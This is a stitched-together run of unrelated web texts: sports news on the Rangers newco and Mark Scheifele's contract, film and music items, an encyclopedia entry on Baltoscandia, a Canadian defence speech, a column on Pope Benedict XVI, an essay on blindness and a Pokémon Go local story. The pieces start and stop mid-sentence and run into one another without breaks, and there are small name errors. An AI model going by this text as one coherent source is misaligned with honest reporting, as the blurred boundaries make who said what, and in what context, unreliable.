of game narrative within development & the gaming experience. (Extended Interview) Jon Blow - Fun & Games: Do video games really have to be fun? Says who? (Extended Interview) Jon Blow - Potential: Jon talks about video games as a medium and how we are just starting to scratch the surface. (Extended Interview) Ron Camel & World of Goo: Ron talks about challenges, inspiration and the hard road that was the development of World of Goo. (Extended Interview) Phil on Design: Phil Fish. Good Design: Discuss! (Extended Interview) INDIE GAME: THE MOVIE: THE GAME (available only on Steam) Indie Game The Movie: The Game: There is a hidden easter egg game in the Steam edition of IGTM…just so you know :) …so as, you can see. There is A LOT more than just the original film. If you’d like to check it ALL out, the physical DVD & BluRay of the IGTM Special Edition contain EVERYTHING. But if you like your content strictly digital, the digital Special Edition on Steam or on our site will give you access to most of what you see here. Check out the DVD/BLURAY Special Edition here and the digital version here. -Lisanne & JamesRangers: Ibrox outfit will learn which division they play in on Friday, 13th July Scottish Football League clubs will decide whether to accept the Rangers newco into the league at a meeting on Friday 13th July, it has been announced. SFL chief executive David Longmuir confirmed the date after a board meeting at Hampden Park on Thursday. The newly-formed club, created in the wake of the old Rangers' imminent liquidation, were refused entry into the Scottish Premier League following a vote by member clubs on Wednesday. Rangers chief executive Charles Green released a statement in the wake of that vote confirming the club would apply to join the SFL and that they would play "in whichever division the SFL sees fit". It is unclear what division Rangers would play in if they were accepted into the league, though SFA chief executive Stewart Regan warned of a'slow, lingering death' for Scottish football if they were accepted into the Third Division - the preferred choice of many Rangers fans. Regan estimated that outcome would mean a £15.7million shortfall for SPL clubs and admitted the SFA would rather the Gers were accepted into the First Division in order to minimise the financial impact. Invidious position Longmuir has called for the 30 member clubs to be given time and space to make their decision after some claimed they had been "bullied" into accepting the newco club into the First Division. "The time has come for all outside influences and pressures to stop," he said. "So I ask all other bodies to leave it to those who have been put in this invidious position to make a decision in the best possible interests of the game. "I have every faith in the judgment of those clubs and their boards to make a decision, considered and reasoned, which will be in the best interests of the game, how it's structured, how it's governed and how it's financed. "Our colleagues in the SPL as well are keen to ensure we do something that's going to take the game forward. "Our job over the next week or so is to consult with colleagues in both SPL and SFA to make sure that what we're about to do is for the benefit and interests of the game. Mini-crisis "The SFL clubs clearly have choices but what we plan to do is make the choices very, very clear to them by giving them the right information and to work over the next week to pull together the plan that's going to take the game forward through this mini crisis, and put us on a better place so that next time next year we're clearly looking forward to getting the ball back on the pitch and playing football. "Technically the SFA as governing body have the power to influence just about every decision that is taken in the game but I believe that with proper collaboration we can get everybody onside with this." Longmuir said the first question put to the 30 clubs will be: "Are the SFL in a position to accommodate Rangers into the Scottish Football League?" But he did not clarify the follow-up questions or details of voting structures. "It will be a straightforward majority for the first question," he added. "That fundamental question we're going to ask will be supplemented by further resolutions that we would have to implement to change our rules, which have different voting requirements. "Some require two-thirds, some require straightforward majorities. That will be made clear to clubs before next week."The Baltoscandian Confederation or Baltoscandia is a geopolitical concept of a Baltic–Scandinavian union (consisting of Sweden, Denmark, Norway, Iceland, Finland, Estonia, Latvia, and Lithuania).[1] The idea was proposed by a Swedish professor Sten de Geer (1886–1933) in the journal Geografiska Annaler in 1928 and further developed by Professor Kazys Pakštas [lt; ru][2] (1893–1960), a Lithuanian scientist in the field of geography and geopolitics. Development of the concept [ edit ] Euler diagram indicating Baltoscandia among other subregions of Northern Europe Pakštas states in his book The Baltoscandian Confederation that the term Baltoscandia was first used by Sten de Geer in an article in "Geografiska Annaler" in 1928.[3] In this book Baltoscandia is described in several different dimensions: as a geographical and cultural, as an economic and as a political and military unit.[4] Kazys Pakštas proposed that one of the ways for the small nations to withstand the influence coming from the large ones is to unite and to cooperate more closely among each other. As he mentions, unification is possible only among nations that are similar by their size, geographical environment, religion, also they have to respect and to tolerate each other. As the foreign policy of Lithuania has shifted towards Northern
, and Charlo is doing his part in blending in with the deep Rain or Shine squad. “We play together, everybody trusts everybody, and they believe in me,” he said. “They’ve given me a lot of confidence just to play my game and shoot the open shot. And that just gives everybody confidence. Everybody shares the ball, and hopefully, I can make a great impression.” ADVERTISEMENT Read Next LATEST STORIES MOST READAngourie Rice joins Nicole Kidman, Elle Fanning, Kirsten Dunst and Colin Farrell in the film. Angourie Rice, who starred opposite Ryan Gosling and Russell Crowe in Shane Black's The Nice Guys, has been cast in Sofia Coppola's next movie, The Beguiled. The film has put together a strong cast with Nicole Kidman, Elle Fanning, Kirsten Dunst and Colin Farrell attached to star. Coppola, who will direct, wrote the screenplay based on a novel by Thomas Cullinan. The film is a remake of the 1971 Clint Eastwood classic, which centered on a wounded Union soldier who is taken into a Southern girls' academy. There, the desires of the lonely women set off a whirlwind of jealousy, hate and lust. Farrell will play the soldier originally played by Eastwood while Kidman, Fanning, Dunst and Rice will play residents at the girls' academy. Sofia Coppola, Roman Coppola and Youree Henley are producing the film while Fred Roos is executive producing. Focus will distribute the project. After appearing in Black’s 1970s-set buddy cop movie The Nice Guys, Rice recently joined Sony and Marvel's Spiderman: Homecoming starring Tom Holland and Zendaya. She also will be seen in coming-of-age indie Jasper Jones with Toni Collette and Huge Weaving. Rice is repped by WME and Catherine Poulton Management.The Winnipeg Jets have re-signed restricted free agent Mark Scheifele. TSN Senior Correspondent Gary Lawless reports the deal is for eight years and worth $49 million. The contract carries an average annual value of $6.125 million per season. twitter embed Originially taken with the seventh-overall pick in the 2011 National Hockey League Entry Draft out of the Barrie Colts of the Ontario Hockey League, Scheifele had a breakout season a year ago. In 71 games, Scheifele scored 29 goals and added 32 assists in his third full pro season. Lawless: Scheifele contract great for team and player Gary Lawless discusses Mark Scheifele's new eight year contract with the Winnipeg Jets and the Blue Bombers win in Hamilton. A native of Kitchener, Ontario, Scheifele was a member of Canada's gold medal-winning entry at this past spring's IIHF World Championships in St. Petersburg. The 23-year-old will represent Team North America at this fall's World Cup of Hockey in Toronto. Scheifele has notched 58 goals and 87 assists in 227 games. With Scheifele locked up, the Jets will turn their attention to remaining RFAs in forwards Joel Armia and Adam Lowry and defenceman Jacob Trouba.Strange Names by Dan McMahon. Have you watched Mannequin recently? WHAT DO YOU MEAN YOU HAVEN'T SEEN MANNEQUIN?! Were you born in the 90s or something? Well that's no excuse. If you're unaware, let me tell you: Mannequin is a superb slice of cinema from 1987 which stars Andrew McCarthy (swoon) as a window dresser who falls in love with a mannequin—played by Kim Cattrall—who magically comes to life, transported from her life as a princess in ancient Egypt. Yeah. That's the plot. Little shout out to the 80s for financing such fantasy and also for making non-traditionally handsome dudes like Billy Crystal rom-com leads (hello When Harry Met Sally). Not everyone's dreamboat is Channing Tatum, ferchrissakes. But I digress. The point is, the soaring song that sums up the whole film is Starship's "Nothing's Gonna Stop Us Now." It's sparkly and synthy and overtly romantic, in an us-against-the-world kind of vein. What's the connection to "Return" by Brooklyn-via-Minnesota trio Strange Names? Well, sonically it pulses with the drivetime freedom of the 80s—those giddy guitars! Those merry-go-round-keys! If this song was a scent it'd be a freshly washed white t-shirt mixed with the smell of your lover's neck. Except if this soundtracked the credits of Mannequin it would be an entirely different film, one where Cattrall's character is a bit of a flake, and although McCarthy played along for a while—because Cattrall is a babe—ultimately he found the self-esteem to say no to her Egyptian-princess-reincarnated-as-a-mannequin flakiness. He put his foot down and he strolled out the door (possibly wearing a pastel trench, but, hey, it was the 80s). I have to say I prefer the actual ending ofmore than this imagined alternate, but for right now, "Return" is better than "Nothing's Gonna Stop Us Now." There's only so much sparkly synth action one can stomach. "I'm not your springtime fantasy…" sing Strange Names, made up of Fletcher Aleckson, Francis Ximenez, and Liam Benzvi (good names, a little strange!). Really? Go on: I'm in the mood for spring fling. Want more? "I Can't Control Myself" is another excellent taster, plus their debut album Use Your Time Wisely is out via Frenchkiss on 5.19. Kim Taylor Bennett is available for spring flings, clearly, and she's on Twitter.Dec 27, 2016 \| By Tess South Korea has been at the forefront of adopting 3D printing technologies in many fields. Within the medical sector, for instance, it has explored fast-track approval for 3D printed devices, and the South Korean government has also forged ahead with tax exemption policies for companies pursuing research and development for 3D printing technologies. We can likely expect to see even more innovation coming out of South Korea now, as the government has published a list of emerging technology sectors, which includes 3D printing, at the 8th Information and Communication Strategy Committee. The technologies listed, which also include fifth-generation telecommunications and artificial intelligence, will be focused on for further development, and are considered as key “next-generation drivers of growth”. While not much has been disclosed in terms of how much money will be invested into growing and advancing these technological sectors, they will receive some sort of funding. According to the list, technologies such as 3D printing, virtual reality, IoT, and self-driving vehicles will benefit from investments from the South Korean government. In terms of 3D printing technologies specifically, the South Korean government is reportedly planning to help the country’s automotive and aerospace industries adopt additive manufacturing. It will also promote the use of 3D printing within the defense, railroad transportation, and medical sectors. Aside from 3D printing, the South Korean government is also planning to introduce a 5G telecommunications network by the year 2020. According to a release, this means that telecom carriers will be given access to a high-frequency spectrum for the new 5G service as of 2019. The new 5G network reportedly has speeds up to 100 times faster than current 4G wireless networks. The government’s support of technologies like VR/AR, artificial intelligence, and self-driving cars is linked to the release of the new 5G network, as they are technologies that would benefit highly from faster operating speeds. Other applications that are being pushed in the lead-up to 5G are “smart city”, disaster response, and medical care. The newly released plan also lays out strategies to deal with increasing cyber-hacking threats, which include funding programs and firms that are developing AI-based security technologies and services. This essentially means that computers could be adapted to fend off cyber-attacks themselves thanks to advanced artificial intelligence. As part of the cyber-security effort, South Korea will establish a government body that will deal explicitly with South Korea’s cyber safety. In addition to AI-based security measures, the cyber-security plan will also involve investing in block-chain security technologies, which will make it more difficult for hackers to counterfeit and steal. This investment marks the first time that the South Korean government has put funding towards R&D for block-chain security. Lastly, the plan addresses ways to help bolster struggling industries such as the shipbuilding industry. As we’ve previously covered, the country is putting $20 million towards developing and advancing technologies such as 3D printing and IoT at a shipbuilding center in Ulsan. Posted in 3D Printing Application Maybe you also like:May 3, 2017 Thank you, Mr. Battista and the whole CDA Institute team, for hosting today’s event. It’s a pleasure being here with you today. I understand the CDAI had a productive exchange with the Chief of Defence Staff, General Jonathan Vance, in February about a range of issues facing the Canadian Armed Forces. I’m here today to outline where we’re really starting from with Canada’s new defence policy. The Government will be releasing that policy very soon, and the depth of the challenge has come into more stark relief through the course of our analysis. This analysis consisted of a thorough public consultation. Canadians provided over 20,000 submissions online. Parliamentarians held over 50 town hall discussions. 107 subject area experts participated in roundtables across the country, from Vancouver to Yellowknife, Edmonton to Toronto, in Halifax, Ottawa and Montreal. I’m going to be very frank, because I believe it’s important to be clear about the hole we are starting in. I’ll say up front that successive governments contributed to the current state of affairs. This audience is keenly aware of the extent of the challenges facing our military as a result of under-investment. And yet, the state of affairs is, in some ways, worse than realized by most observers. I know that you understand that we cannot build the Canadian Armed Forces this nation needs through a series of short-term decisions. I know you understand that a military is not strengthened by cobbling together pieces from one budget to the next. By succumbing continually to the pressures of the urgent at the expense of the strategic. By hoping that 20 years down the line, all of the disjointed ups and downs will somehow result in the military we need. That is why, in launching a Defence Policy Review, we set out to take the long-term view – to deliver a credible, realistic and funded strategy for our military. Let me state outright and up front that the Canadian Armed Forces deliver what governments ask of them every time. They perform superbly regardless of the resource constraints they face. All Canadians can be proud of the fact that our women and men in uniform answer the call of duty whenever and wherever it sounds. In recent years alone, they have deployed to Iraq to contribute to global efforts to fight DAESH. They deployed to Nepal in just 48 hours, after a tragic earthquake struck the tiny nation, and… They deployed with NATO to bolster alliance resolve and deterrence against aggressive Russian actions in Ukraine. …at home, they have helped residents of Winnipeg and Fort McMurray overcome massive floods and devastating forest fires. The Canadian Armed Forces is an inspiring institution that makes me proud every day. Responsive, professional and dedicated, they are counted amongst the best militaries in the world. But militaries cannot perform well forever without proper support. Governments have a responsibility to uphold their end of the bargain…To care for their militaries, resource them properly, and fund them in a responsible way that meets their needs. Since being elected a year and a half ago, we have worked hard to address the complex challenges that the Defence Team has faced in recent years. Doing this properly has been a very large task. We have spent a lot of time and attention assessing what’s working, what isn’t, and why. We engaged with defence and security experts in Canada and abroad to increase our understanding of modern security threats. We met with allies and partners to better understand the best defence role for Canada, and… We listened to Canadians about their aspirations for the Forces and our country. At every stage, the take-away has been clear: Governments have not delivered predictable, sustainable, long-term funding for the Canadian Armed Forces. It has not been a straight line. Let me take a moment to retrace some twists and turns. In 2004-05, Prime Minister Paul Martin’s government implemented annual budget increases of around $1.5 billion in successive years. After that, the budget grew incrementally, predominantly to cover the cost of the combat mission in Afghanistan until it ended in 2010-11. Two deficit reduction programs followed, Strategic Review and the Deficit Reduction Action Plan. By the time these were fully implemented in 2015, each reduced the annual defence budget by $1 billion dollars, for a total of about $2 billion per year. The defence escalator, which was implemented to protect the DND budget from defence inflation, was increased from 1.5% to 2% in 2011. And beginning this fiscal year, it increased from 2% to 3%. Yet even that will not be sufficient to meet our future requirements. Years of ups and downs have contributed to unpredictability for those responsible for supporting, maintaining and sustaining the Forces and planning for its future. The reductions have left the organization hollow in a number of areas. Fighter jets and ships are prime examples of the unfortunate link between inadequate investment and capability gaps. Canadians were told a few years ago that the government would buy 65 new jets to replace our aging fleet of CF-18s. But for the missions we ask the Royal Canadian Air Force to undertake, and for our alliance commitments, 65 jets would simply not be enough. If we want to fully meet our commitments to NATO and NORAD simultaneously – and we do – then 65 jets would not be a full fleet. It would only be a fleet for risk managing our requirements, not meeting them. Furthermore, the $9 billion in funding that was earmarked for the jet replacements by the previous government is nowhere near enough to even cover the 65 jets they proposed. For the Navy’s new surface combatants, the previous government ended up saying they would buy up to 15. As has been well reported, the budget identified was dramatically insufficient and unrealistic. The Royal Canadian Navy deserves a clear, realistic and fully funded commitment. Canada’s naval capabilities are at a 40-year low. The number of operational ships in Canada’s fleet has dropped by five in the last two years alone. Ships have been retired without replacement because any plans for investments simply came too late. Without a single destroyer in its fleet, Canada will rely on the United States and NATO for Area Air Defence until the introduction of our new Surface Combatants. Without a single supply ship, Canada is reliant on the capabilities of allies and partners for its replenishment needs, as well. These examples alone would be troubling enough, but there is much more to grapple with. The previous government’s budget cutting means $2 billion dollars less in the defence budget this year. This has exacerbated an already challenging situation. Closing recruitment offices made it harder to attract new recruits. Cutting the number of procurement officers made it difficult to buy, maintain and sustain all the tools and equipment we actually could afford for our military. We are now in the troubling position where status quo spending on defence will not even maintain a status quo of capabilities. Current funding has us digging ourselves into a hole…A hole that gets deeper every year. As a percentage of our GDP, we are spending less on defence today than we were in 2005. There is a list of major capital projects that are entirely unfunded. These aren’t ‘nice to haves’, these aren’t frills. These are projects that must be completed to allow our military to just keep doing what it’s doing. Investments that need to be made into the Forces key equipment and capabilities….And no funding has been allocated for them. Our Air Force will need funding for mid-life upgrades to its Cormorant search and rescue helicopters. We are talking about a critical need to invest in a fleet of aircraft that our Air Force uses on operations every day to help Canadians in distress. And they will also need sufficient funds to extend the life of the Griffons. These are highly reliable helicopters that have served our Air Force faithfully on missions at home and abroad for over 20 years. These helicopters are used to transport troops and materials, as they have on humanitarian missions and on operations in Afghanistan, and now in Iraq. And they can fit right inside the C-17 Globemaster, so they’re easily transportable, and give the Forces flexibility and agility in responding to crises around the world. But if we don’t fund their life extension project, we need to phase them out because helicopters with obsolete instrumentation can’t fly in North American airspace. And yet…no money was allocated to keep them running in the years to come. With the Army, we discovered that no funding had been allocated to allow soldiers to keep doing some of their most important work. Without support from our allies, Canadian soldiers deployed overseas would be exposed to threats emanating from aircraft, missiles and long-range artillery. Therefore, investments in Ground Based Air and Munitions Defence systems are required to guarantee the safety of our deployed troops. Yet no money was earmarked to provide this protection to our soldiers in the past. There are several other examples of projects that the Army needs the government to fund in order to ensure it can continue to assist Canadians during natural disasters, and to meet international commitments. Its fleet of Heavy Support Equipment such as forklifts, dozers, loaders, and excavators, needs to be replaced so that our soldiers can build camps, protective works as well as roads and shelters. The list of activities that our soldiers undertake with this equipment is long. Yet here, too, no investments were planned. Furthermore, the Army’s fleet of Logistic Support Vehicles, such as trailers and medium-size trucks, used to transport supplies and essential equipment, has been significantly degraded over time and must be replaced. These capabilities are essential to sustain our soldiers at home and abroad. Again – no investment planned. But the resourcing problems that we have found the most troubling, are the ones that have directly affected our service members. In over 25 years as a Reservist, I saw firsthand the ways that Canada’s government have failed to properly equip our Reserve force. Not only is there not enough equipment, but the training to use what equipment they have is lacking, as well. Our Reserve units are tremendously resourceful, and they perform extremely well, despite having been under-funded for so long. But that does not excuse the failure to properly resource our Reserves. They deserve gratitude from the Governments that deployed them away from their families and into harm’s way. Instead, when they take off the uniform, they get pension cheques delivered late. They have to run an obstacle course when they retire from the military, and they get short-changed in more ways than any Government would want to admit. So, these are some of the problems to be solved. Before it can build anything new, Canada’s new defence policy must first get us out of the hole that we’re starting in. Part of the solution will lie in financial rigour. Some of the decisions by previous governments about funding for major capital investments were based on overly optimistic assumptions about how far they could stretch the dollars in their defence budget to purchase military equipment. But it is difficult for Canadians to hold the Government to account, because so few people understand the financial framework to begin with. Defence budgets lack sufficient transparency and openness. The capital budgets themselves have not been informed by full-life costing, and defence funding was unpredictable, so long-term planning has been extremely challenging. That is why we promised a comprehensive review of Canada’s defence policy in 2015. It is why we sought the input of Parliamentarians from all parties, and why we sought input during a series of expert roundtables, including the Industry roundtable last July. It is why we consulted Canadians across the country through our online portal and Town Hall discussions. We also held roundtable discussions to hear from Indigenous community members and academics and others with expertise on gender-related issues. We wanted a thorough understanding of how every facet of our defence policy would impact our own people and Canada more generally. We will act on the evidence gathered throughout of defence policy review process. The process made clear the need to focus on emerging domains, like space and cyber. The need to remain a trusted and capable ally and a respected voice on the international stage – to protect Canadians and their interests. Most of all, we need to take better care of our Canadian Armed Forces personnel and their families. And we need to level with Canadians about what that really costs. This Canadian defence policy will be the most rigorously costed one ever produced. It has been developed with support from global costing experts from Deloitte, one of Canada’s top professional services firms, who also participated in Defence reviews among our Five Eyes partners. But then we went a step further. We asked five other major accounting firms in Canada to review the methodology we used. This will be a fair and accurate assessment of challenges, and a sound plan for how to address them. Roméo Dallaire once said that we need “an unambiguous statement of what is expected of the Armed Forces. How the Forces will be structured. What resources will be available to them, and how the government will guarantee that it will be sustained in the future”. Canada’s new defence policy will be that plan. It will be a plan to get out of the hole we are starting in, and it will be a plan to build an even stronger military. It will be a plan to allocate realistic funding to those “bread and butter” projects that will keep our military running efficiently and effectively for years to come. Most of all, it will be a plan to care for the women and men who put on the uniform. I look forward to doing right – now and for the long term - by those who defend Canada, our people, and our way of life. Thank you.Pope Benedict XVI has just said something extraordinary: that the second Vatican Council represented the Catholic church doing the enlightenment, and for good measure the reformation, the way they should have been done the first time round. He doesn't just mean that the Catholic has now come to terms with the reformation and the enlightenment, but that it has done so and purged them of their errors. Given his reputation as an enemy of the enlightenment and all that the council stood for, is this remotely credible? At the council, he said in a speech on his visit to Portugal, "The church, on the basis of a renewed awareness of the Catholic tradition, took seriously and discerned, transformed and overcame the fundamental critiques that gave rise to the modern world, the Reformation and the Enlightenment. In this way the church herself accepted and refashioned the best of the requirements of modernity by transcending them on the one hand, and on the other by avoiding their errors and dead ends." On one level, this is quite simply breathtaking. The Roman Catholic church has a capacity rivalled only by the Conservative party's for keeping the words of its formulae the same and reversing their meaning. But to claim that 500 years of struggle against the modern world have ended with the church's accepting all the good bits and the rest of us trapped in errors and dead ends is startling even for a pope; and especially this one. The Tablet, reporting this, managed in an entirely deadpan way to point out that Benedict is the pope who has done most to restore the Latin Mass, which the council had abolished, and to reach out to the Lefevrists who left the church because they would not accept the Council's reforms. But Benedict is a subtle thinker, and it's always worth reading his speeches carefully. In Portugal he talked a lot about life in a multicultural world: "Given the reality of cultural diversity, people need not only to accept the existence of the culture of others, but also to aspire to be enriched by it and to offer to it whatever they possess that is good, true and beautiful." Talking to reporters on the plane which carried him to Portugal he tied the two strands of multiculturalism and enlightenment together in a most unexpected way. In an excursus which must have given the reporters migraines, he started talking about the enlightenment concept of reason. Instead, he said, the modern, secular idea of reason grew out of a dialectic with the church in which "unfortunately the prevailing tendency was one of opposition and mutual exclusion." That little word "mutual" is worth treasuring: it represents a pope admitting there was wrong on his side, too. Dialectic does not just mean conflict. It is a word which implies that the conflict ends, to be replaced by another, and that this conflict has productive results. The idea of the relationship between the church and the state as dialectical is a very long way indeed from the claim that there is no salvation outside the church. But, he argued, if Europe thought it could do without religion, it was making a very damaging mistake, just as the church had done when it thought it could do without secularism: "In the multicultural situation in which we all find ourselves, we see that if European culture were merely rationalist, it would lack a transcendent religious dimension, and not be able to enter into dialogue with the great cultures of humanity all of which have this transcendent religious dimension – which is a dimension of man himself. So to think that there exists a pure, anti-historical reason, solely self-existent, which is'reason' itself, is a mistake; we are finding more and more that it affects only part of man, it expresses a certain historical situation but it is not reason as such." That was the context in which he went on to say that the church itself was to blame for the child abuse scandals, and they could not be blamed – as many cardinals have tried to do – on the outside world: "we are seeing... in a really terrifying way that the greatest persecution of the church comes not from her enemies without, but arises from sin within the church, and that the church thus has a deep need to relearn penance, to accept purification, to learn forgiveness on the one hand, but also the need for justice." And even if you find his talk of the dialectic bewildering, it's clear what he means by "the need for justice": there will be swift and decisive sackings. Sure enough, when last week the German bishop Walter Mixa, whom Benedict himself had appointed in 2005, found his resignation accepted by the Vatican less than three weeks after he had offered it after accusations of hitting children and possibly sexually abusing them. In a church that can take 500 years to admit that Luther was right, that's dazzling speed. This is turning out to be a very much less conservative papacy than anyone expected.HaHa spoke up about some of the most important people in his life with 'International bnt' magazine! HaHa first opened up about Jung Hyung Don and his departure from 'Infinity Challenge'. He said, "It's not something that we can give an answer to. The most important thing is his condition, so we are just waiting for him to recover as soon as possible and return. I feel like I lost all of my confidence ever since he left. It's hard for me because his emptiness cannot be filled." He also talked about his #1 co-worker, 'nation's MC' Yoo Jae Suk, saying, "Everyone knows, but he is just a real, good person. He is my hero, my hyung, and my teacher." Lastly, HaHa portrayed appreciation for his wife Byul, "She always tells me I'm the best regardless of my flaws. In a way, I feel sorry for her because she is also a celebrity, who had to delay her dreams as she raises our son. I hope she can promote as a singer, show her talent as a musician, and also live happily with me when Dream is grown."Postcard, c. 1910 A ménage à trois (French: "household of three") is a domestic arrangement in which three people have romantic and/or sexual relations with one other, typically occupying the same household. A form of polyamory, contemporary arrangements are sometimes identified as a throuple[1] or thruple.[2] Historical instances [ edit ] History has a number of examples of ménages à trois relationships. Speculation exists that, in 1547–48, Queen Catherine Parr, widow of Henry VIII, and her fourth husband Thomas Seymour were involved in a ménage with the future Queen Elizabeth. This is probably exaggerated, although episodes of sexually charged horseplay involving the three were well attested.[3][4] In his youth, thirteen years her junior, the French philosopher Jean-Jacques Rousseau was a protégé of the French noblewoman Françoise-Louise de Warens, who would become his first lover. He lived with her at her estate on and off since his teenage years, and in 1732, after he reached the age of 20, she initiated a sexual relationship with him while also being open about her sexual involvement with the steward of her house.[5] The German intellectual Dorothea von Rodde-Schlözer, her husband Mattheus Rodde and the French philosopher Charles de Villers also had a ménage à trois from 1794 until her husband's death in 1810.[6] Sir William Hamilton (British ambassador to Naples), his wife Emma Hamilton, and her lover, the naval hero Admiral Horatio Lord Nelson, were in a ménage à trois from 1799 until Nelson's death in 1805.[7] At the age of 16, in 1813, the future author of Frankenstein, Mary Godwin, eloped with her to-be husband Percy Bysshe Shelley and engaged in a ménage with Claire Clairmont, future lover of Lord Byron, with whom the Shelleys would later have an extensive relationship.[8] The political philosopher Friedrich Engels lived in a ménage à trois with his mistress Mary Burns and her sister Lizzie.[9] In 1882 the Russian-born psychoanalyst and author Lou Andreas-Salomé invited the German philosophers Friedrich Nietzsche and Paul Rée to live with her, both of whom were in love with her. She kept her relationship with the two men celibate.[10] Later she married a third man, Friedrich Carl Andreas, with whom she was also celibate.[11] The author E. Nesbit lived with her husband Hubert Bland and his mistress Alice Hoatson, and raised their children as her own.[12] In 1913, psychoanalyst Carl Jung began a relationship with a young patient, Toni Wolff, which lasted for some decades. Deirdre Bair, in her biography of Carl Jung,[13] describes his wife Emma Jung as bearing up nobly as her husband insisted that Toni Wolff become part of their household, saying that Wolff was "his other wife". The Russian and Soviet poet Vladimir Mayakovsky lived with Lilya Brik, who was considered his muse, and her husband Osip Brik, an avant garde writer and critic.[14][15] The writer Aldous Huxley and his first wife Maria engaged in a ménage with Mary Hutchinson, a friend of Clive Bell.[16] From 1939, Erwin Schrödinger, his wife Annemarie Bertel, and his mistress Hilde March had a ménage à trois.[17][18] In 1963 the actress Hattie Jacques lived with her husband John Le Mesurier and her lover John Schofield.[19] See also [ edit ] References [ edit ] Further reading [ edit ]For most of us, sight is the primary way we interpret the world. How can we even begin to conceive of a meaningful connection with a person who cannot see? Before I began living and working among blind people, I, too, wondered this. Whenever I saw a blind person on the street I would stare, transfixed, hoping, out of a vague and visceral discomfort, that I wouldn’t have to engage with him. In his 1930 book “The World of the Blind,” Pierre Villey, a blind French professor of literature, summarized the lurid carnival of prejudices and superstitions about the blind that were passed down the centuries. “The sighted person judges the blind not for what they are but by the fear blindness inspires.... The revolt of his sensibility in the face of ‘the most atrocious of maladies’ fills a sighted person with prejudice and gives rise to a thousand legends.” The blind author Georgina Kleege, a lecturer at the University of California at Berkeley, more tersely wrote, “The blind are either supernatural or subhuman, alien or animal.” WE take our eyesight so much for granted, cling to it so slavishly and are so overwhelmed by its superficial data, that even the most brilliant sighted person can take a stupidly long time to recognize the obvious: There is usually a perfectly healthy, active and normal human mind behind that pair of unseeing eyes. Christopher Hitchens called blindness “one of the oldest and most tragic disorders known to man.” How horribly excluded and bereft we would feel to lose the world and the way of life that sight brings us. Blindness can happen to any one of us. Myself, I used to be certain I’d rather die than be blind; I could not imagine how I would have the strength to go on in the face of such a loss. And yet people do. In 1749, the French philosopher Denis Diderot published an essay, “Letter on the Blind for the Benefit of Those Who See,” in which he described a visit he and a friend made to the house of a blind man, the son of a professor of philosophy at the University of Paris. The blind man was married, had a son, had many acquaintances, was versed in chemistry and botany, could read and write with an alphabet of raised type and made his living distilling liqueurs. Diderot wrote with wonder of the man’s “good solid sense,” of his tidiness, of his “surprising memory for sounds” and voices, of his ability to tell the weight of any object and the capacity of any vessel just by holding them in his hands, of his ability to dismantle and reassemble small machines, of his musical acuity and of his extreme sensitivity to atmospheric change. The blind man, perhaps weary of being interrogated by Diderot and his friend as if he were a circus animal, eventually asked them a question of his own. “I perceive, gentlemen, that you are not blind. You are astonished at what I do, and why not as much at my speaking?” More than any of his sensory skills, it was the blind man’s self-esteem that surprised Diderot most. “This blind man,” he wrote, “values himself as much as, and perhaps more than, we who see.” I’ve learned from my blind friends and colleagues that blindness doesn’t have to remain tragic. For those who can adapt to it, blindness becomes a path to an alternative and equally rich way of living. One of the many misconceptions about the blind is that they have greater hearing, sense of smell and sense of touch than sighted people. This is not strictly true. Their blindness simply forces them to recognize gifts they always had but had heretofore largely ignored.CLOSE New Castle police enforce dawn-to-dusk park hours at Battery Park in Historic New Castle following complaints by local residents of noise and trash. Esteban Parra and William Bretzger/The News Journal Residents of historic community fret about late-night and early morning hunts for virtual monsters Buy Photo "Pokémon Go" fans converge on New Castle's Battery Park Tuesday night. The popular smartphone game has create an uneasy tension between players and residents in the historic community. (Photo: WILLIAM BRETZGER/THE NEWS JOURNAL)Buy Photo Story Highlights "Pokémon Go" uses GPS to link in-game creatures to real world locations. The game that launched this summer has brought countless players out to hunt for virtual characters. Some residents in historic New Castle have raised concerns about noise and other issues. They've been coming by the hundreds day and night to Old New Castle. Smokers, teens, dog walkers, parents pushing strollers – all strolling along brick sidewalks and cobblestone roads, armed with cellphones playing "Pokémon Go." The hunters, as some liked to be called, use smartphones to search for virtual critters around colonial, Dutch and federal buildings where real 21st-century people live. "Pokémon" players are spotted wandering through Battery Park along the Delaware River at all hours. At night time, a blue hue glows from vehicles, some double- or even triple-parked. Buy Photo "Pokémon Go" players sit in their cars at the wharf after a thunderstorm rolled through New Caste on Monday night. (Photo: KYLE GRANTHAM/THE NEWS JOURNAL) "This just seems to be the best area," said Mike Collura, parked near a wharf fire hydrant late Monday. The Pennsville, New Jersey, man said the location offers a multitude of characters, as well as a spot for families to hang out. "The most stops in one area." Some New Castle entrepreneurs see opportunities in the virtual hunters and hope to capture their business. But others wish the fad, which exploded in popularity this summer, would end and the historic community return to the good old days of pre-"Pokémon Go." Town officials have not seen any serious problems with crime in the area, but they've increased trash collections and even tinkered twice with the time people are allowed in Battery Park in an attempt to deal with residents' concerns. Buy Photo "Pokemon Go" players Brady Sammons, 13, of Elsmere (left) and Shawn Brown, 12, of Richardson Park, gather adjacent to New Castle's Battery Park after dark Tuesday. Fans also have descended on places like the Wilmington Riverfront and University of Delaware campus to catch monsters. (Photo: WILLIAM BRETZGER/THE NEWS JOURNAL) The month-old smartphone game, based on the Pokémon franchise of the 1990s, allows players to walk around outside, seeking cartoon characters projected into the real environment via their phone's camera and then catch the pocket creatures as if they were real, earning points. Open spaces are ideal places to catch the digital creations. Legions of fans have descended on places like the Wilmington Riverfront and University of Delaware campus to catch monsters. In Rehoboth Beach, a motorist helping his wife find characters was cited after crashing into a police cruiser just after midnight last month. A similar incident happened in Baltimore. [Editor's note: If you do not see a poll question here, please refresh this page.] Last month, the Colorado Department of Transportation posted signs reminding to not play the game while driving. In Massachusetts, caretakers of Fort Phoenix raised concerns "Pokémon" players were causing damage to the Revolutionary War-era structure. In New Castle,
